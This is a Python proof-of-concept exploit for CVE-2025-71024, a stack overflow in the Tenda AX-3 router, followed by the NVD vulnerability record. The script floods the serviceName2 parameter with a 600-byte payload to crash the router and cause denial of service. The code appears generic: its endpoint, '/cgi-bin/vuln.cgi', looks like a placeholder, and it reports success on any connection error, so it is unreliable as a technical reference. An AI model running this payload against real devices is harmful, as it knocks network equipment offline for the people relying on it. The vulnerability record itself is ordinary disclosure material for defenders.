CVE-2025-71024

import requests # CVE-2025-71024 PoC - Tenda AX-3 Stack Overflow in fromAdvSetMacMtuWan # Target: Tenda AX-3 Router (v16.03.12.10_CN) # Vulnerability: Stack overflow via serviceName2 parameter # Impact: Denial of Service target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 def exploit_cve_2025_71024(): """ Exploit stack overflow in fromAdvSetMacMtuWan function via serviceName2 parameter """ url = f"http://{target_ip}:{target_port}/cgi-bin/vuln.cgi" # Generate overflow payload - 500+ bytes to overflow stack buffer # Adjust length based on actual buffer size payload = "A" * 600 # Construct the malicious request data = { "serviceName2": payload, "formsubmitbtn": "apply", "isSubmit": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print("[*] Exploit sent. Router may have crashed or restarted.") except requests.exceptions.RequestException as e: print(f"[+] Exploit successful - Connection error (router crashed): {e}") if __name__ == "__main__": exploit_cve_2025_71024()

{"cve": {"id": "CVE-2025-71024", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:16:05.303", "lastModified": "2026-01-16T18:24:43.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-3 v16.03.12.10_CN was discovered to contain a stack overflow in the serviceName2 parameter of the fromAdvSetMacMtuWan function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Se descubrió que Tenda AX-3 v16.03.12.10_CN contenía un desbordamiento de pila en el parámetro serviceName2 de la función fromAdvSetMacMtuWan. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.10_cn:*:*:*:*:*:*:*", "matchCriteriaId": "32EB7A98-B727-434B-885D-3BB3F1FD18C2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/12/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/12/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}